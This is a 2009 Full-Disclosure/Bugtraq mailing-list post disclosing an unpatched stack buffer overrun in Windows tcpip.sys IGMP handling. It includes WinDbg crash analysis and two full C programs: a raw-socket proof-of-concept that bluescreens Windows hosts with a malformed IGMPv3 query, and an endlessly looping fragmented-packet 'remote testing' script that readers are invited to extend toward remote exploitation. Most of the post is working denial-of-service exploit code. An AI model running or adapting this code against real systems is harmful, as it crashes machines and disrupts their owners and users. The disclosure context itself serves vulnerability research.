[<prev] [next>] [day] [month] [year] [list]
Message-ID: <72f8221d0907190133v4936ab0cuc24de4c41eccd784@mail.gmail.com>
Date: Sun, 19 Jul 2009 10:33:40 +0200
From: Kingcope <kcope2@...glemail.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Some small noday XD
Some small noday XD
Microsoft Windows tcpip.sys IGMP local stack buffer overrun (July 2009)
---------------------------------------------------------------------------------------------------------
In the shape I post this here there is no privilege escalation at all, but it
seems there must be something wrong in the IP stack implementation of ms windows
so I just want to inform you.
The attached code will crash any windows system, means XP, Vista and
2000 with a Blue Screen.
Administrative Privileges are required for the code to be run because
of the raw sockets being established.
The point here is that the code crashes windows in it's "IPFragment"
routine because of a stack overrun.
I know it is pretty useless to exploit a bug when you are already
Administrator but maybe there's
a way to trigger the bug without any administrative privileges or even
remotely ( i am dreaming, no? ).
I tried hard to exploit it remotely :D, with no success.
The code depends on bogus IP options, (the "0xffff","0xffff" in the
code) and a large payload for the
IGMP Query (about 1000 addresses seem enough).
Testing source for remote is also attached so you can modify it, maybe
you are lucky.
Sry, didn't know what to do with this bug, laying around here on my
backup since 2007, so I thought
I'd just post it.
Here is the WinDbg Session output:
---snip---
1: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer. This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned. This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: 84baa538, Actual security check cookie from the stack
Arg2: 0000656d, Expected security check cookie
Arg3: ffff9a92, Complement of the expected security check cookie
Arg4: 00000000, zero
Debugging Details:
------------------
FAULTING_IP:
tcpip!IPFragment+61f
ed6bd7a8 c9 leave
GSFAILURE_FUNCTION: tcpip!IPFragment
GSFAILURE_MODULE_COOKIE: <unavailable> tcpip!__security_cookie [ ed6c8484 ]
GSFAILURE_ANALYSIS_TEXT: !gs output:
Stack buffer overrun analysis follows:
Corruption occured in tcpip!IPFragment or one of its callers
Error reading real canary at 0xed6c8484
Warning: Unable to read real canary complement at 0x00000000
(OK - it is not present in all cases)
GS analysis will be limited due to previous errors
Corrupted cookie value (0x00000000) too generic, skipping read bit-flip check
The canary doesn't look corrupted. Not sure how we got here
Determining __gs_reportfailure version failed. Guessing...
Detected off-by-4 bug in __report_gsfailure, saved ESP will be
corrected to ESP+4.
Error 16386 getting EBP and ESP
EBP/ESP appear correct. (EBP-ESP) matches local storage set up in the
function prolog
Function tcpip!IPFragment:
Funtion has no locals
no candidate buffer found
Stack buffer overrun analysis complete.
BUGCHECK_STR: STACK_OVERRUN
SECURITY_COOKIE: Expected 0000656d found 84baa538
CUSTOMER_CRASH_COUNT: 1
DEFAULT_BUCKET_ID: DRIVER_FAULT
PROCESS_NAME: igmp.exe
FOLLOWUP_IP:
tcpip!IPFragment+61f
ed6bd7a8 c9 leave
SYMBOL_NAME: tcpip!IPFragment+61f
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: tcpip
IMAGE_NAME: tcpip.sys
DEBUG_FLR_IMAGE_TIMESTAMP: 444775d3
STACK_COMMAND: kb
FAILURE_BUCKET_ID: STACK_OVERRUN_tcpip!IPFragment+61f
BUCKET_ID: STACK_OVERRUN_tcpip!IPFragment+61f
Followup: MachineOwner
---------
--- snip ---
And the code to trigger the bug:
--- snip ---
// igmp.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "Ws2_32.lib")
typedef struct iphdr
{
unsigned char verlen; // IP version & length
unsigned char tos; // Type of service
unsigned short total_len; // Total length of the packet
unsigned short ident; // Unique identifier
unsigned short frag_and_flags; // Flags
unsigned char ttl; // Time to live
unsigned char proto; // Protocol (TCP, UDP etc)
unsigned short checksum; // IP checksum
unsigned int sourceIP; // Source IP
unsigned int destIP; // Destination IP
unsigned short options[2];
} IPHEADER;
typedef struct igmphdr {
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned long group;
unsigned char ResvSQVR;
unsigned char QQIC;
unsigned short num;
unsigned long addes[1000];
} IGMPHEADER;
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int sendIGMP(char* a, char* b)
{
unsigned int dst_addr, src_addr;
IPHEADER ipHeader;
IGMPHEADER igmpHeader;
dst_addr=inet_addr (b);
src_addr=inet_addr (a);
char szSendBuf[60000]={0};
int rect;
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0)
return FALSE;
SOCKET sock;
if ((sock = WSASocket(AF_INET,SOCK_RAW,
IPPROTO_RAW,NULL,0, 0x01)) == INVALID_SOCKET) {
printf("Create socket error");
WSACleanup();
return FALSE;
}
BOOL flag=TRUE;
if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag))
== SOCKET_ERROR) {
printf("Set options error");
closesocket(sock);
WSACleanup();
return FALSE;
}
SOCKADDR_IN ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(99);
ssin.sin_addr.s_addr=dst_addr;
ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(igmpHeader));
ipHeader.ident=htons(0);
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_IGMP;
ipHeader.checksum=0;
ipHeader.tos=0;
ipHeader.destIP=dst_addr;
ipHeader.sourceIP=src_addr;
//Ip options
ipHeader.options[0]=htons(0xFFFF); //bug is here =) yes it is XD
ipHeader.options[1]=htons(0xFFFF);
igmpHeader.type=0x11; //v3 Membership Query
igmpHeader.code=5;
igmpHeader.num=htons(100);
igmpHeader.ResvSQVR=0x0;
igmpHeader.QQIC=0;
igmpHeader.group=inet_addr("0.0.0.0");
for (int i=0;i<100;i++) {
igmpHeader.addes[i]=dst_addr;
}
igmpHeader.checksum=0;
memcpy(szSendBuf, &igmpHeader, sizeof(igmpHeader));
igmpHeader.checksum=checksum((USHORT *)szSendBuf,sizeof(igmpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &igmpHeader, sizeof(igmpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);
ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
sizeof(ipHeader)+sizeof(igmpHeader)));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf,
sizeof(ipHeader)+sizeof(igmpHeader),0,(LPSOCKADDR)&ssin,
sizeof(ssin));
if (rect==SOCKET_ERROR) {
printf("Send error: <%d>\n",WSAGetLastError());
closesocket(sock);
WSACleanup();
return 0;
}
closesocket(sock);
WSACleanup();
return 1;
}
int main(int argc, char **argv)
{
if(argc<2)
{
printf("\nIGMP v3 DoS PoC by kcope based on code by
Alexey Sintsov\n\n");
printf("Usage:\n");
printf("c:\\igmp.exe <target ip> <source ip>\n\n");
return 0;
}
sendIGMP(argv[2], argv[1]);
printf (".\n");
return 0;
}
--- snip ---
Now to the testing script for remote tests (Fragmented IGMP Query with
bogus IP Options bit buggy):
--- snip ---
// igmp.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <errno.h>
/* obligatory includes */
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netdb.h>
#define SOCKET int
#define BOOL int
#define TRUE 1
#define FALSE 0
#define SOCKET_ERROR -1
#define closesocket close
#define BIGIGMP 1400
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
struct iphdr
{
unsigned char verlen; // IP version & length
unsigned char tos; // Type of service
unsigned short total_len; // Total length of the packet
unsigned short ident; // Unique identifier
unsigned short frag_and_flags; // Flags
unsigned char ttl; // Time to live
unsigned char proto; // Protocol (TCP, UDP etc)
unsigned short checksum; // IP checksum
unsigned int sourceIP; // Source IP
unsigned int destIP; // Destination IP
unsigned short options[2];
};
struct igmphdr {
unsigned char type;
unsigned char code;
unsigned short checksum;
unsigned long group;
unsigned char ResvSQVR;
unsigned char QQIC;
unsigned short num;
unsigned long addes[0xffff/4-2];
};
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1) {
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int sendIGMP(char* a, char* b)
{
unsigned int dst_addr, src_addr;
struct iphdr ipHeader;
struct igmphdr igmpHeader;
dst_addr=inet_addr (b);
src_addr=inet_addr (a);
int rect;
char szSendBuf[sizeof(ipHeader)+sizeof(igmpHeader)];
memset(szSendBuf, 0, sizeof(ipHeader)+sizeof(igmpHeader));
SOCKET sock;
if ((sock = socket(AF_INET,SOCK_RAW, IPPROTO_RAW)) < 0) {
printf("Create socket error");
return FALSE;
}
BOOL flag=TRUE;
if (setsockopt(sock,IPPROTO_IP,2,(char *)&flag,sizeof(flag))
== SOCKET_ERROR) {
printf("Set options error");
closesocket(sock);
return FALSE;
}
struct sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(99);
ssin.sin_addr.s_addr=dst_addr;
ipHeader.verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.ident=htons(1000);
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_IGMP;
ipHeader.checksum=0;
ipHeader.tos=0;
ipHeader.destIP=dst_addr;
ipHeader.sourceIP=src_addr;
// //Ip options
ipHeader.options[0]=htons(0xFFFF);
ipHeader.options[1]=htons(0xFFFF);
memset(&igmpHeader, 0, sizeof(igmpHeader));
igmpHeader.type=0x11; //v3 Membership Query
igmpHeader.code=0xff;
igmpHeader.num=htons(0xffff/4-200);
igmpHeader.ResvSQVR=0xff;
igmpHeader.QQIC=0;
igmpHeader.group=inet_addr("224.0.0.2");
int x1,x2; int vv=0;
int k=0;
printf("fillin...\n");
for (x1=0;x1<256;x1++) {
for (x2=0;x2<256;x2++) {
char buf[100];
int xx1 = x1;
int xx2 = x2;
sprintf(buf, "%d.%d.%d.%d", rand() % (256), rand() % 256, rand() %
256, rand() % 256);
if (vv >= 0xffff/4-2) goto label1;
igmpHeader.addes[vv]=inet_addr(buf);
vv++;
}
}
printf("okay\n");
label1:
printf("okay2\n");
for (k=0;k<sizeof(igmpHeader)/BIGIGMP;k++) {
// printf("IPHDR_LEN:%d, ALL:%d, PKT_LEN:%d\n", sizeof(ipHeader),
sizeof(igmpHeader), BIGIGMP);
ipHeader.total_len=htons(sizeof(ipHeader)+BIGIGMP);
if (k==0)
ipHeader.frag_and_flags=htons(0x2000);
else
ipHeader.frag_and_flags=htons(((BIGIGMP * k)>>3)|0x2000);
if (k==(sizeof(igmpHeader)/BIGIGMP)-1) {
ipHeader.frag_and_flags=htons(((BIGIGMP * k)>>3));
}
igmpHeader.checksum=0;
char c[sizeof(igmpHeader)];
memcpy(c, &igmpHeader, sizeof(igmpHeader));
igmpHeader.checksum=checksum((USHORT *)c,sizeof(igmpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
char *p = &igmpHeader;
p+=BIGIGMP*k;
memcpy(szSendBuf+sizeof(ipHeader), p, BIGIGMP);
// memset(szSendBuf+sizeof(ipHeader)+sizeof(igmpHeader), 0, 4);
ipHeader.checksum=ntohs(checksum((USHORT *)szSendBuf,
sizeof(ipHeader)+BIGIGMP));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+BIGIGMP,0,&ssin,
sizeof(ssin));
if (rect==SOCKET_ERROR) {
perror("");
closesocket(sock);
return 0;
}
}
closesocket(sock);
return 1;
}
int main(int argc, char **argv)
{
if(argc<2)
{
printf("\nIGMP v3 testing script by kcope based on
code by Alexey Sintsov\n\n");
printf("Usage:\n");
printf("c:\\igmp.exe <target ip> <source ip>\n\n");
return 0;
}
while(1)
sendIGMP(argv[2], argv[1]);
printf (".\n");
return 0;
}
--- snip ---
Cheers,
Kingcope, E-Mail: kcope2<at>googlemail.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists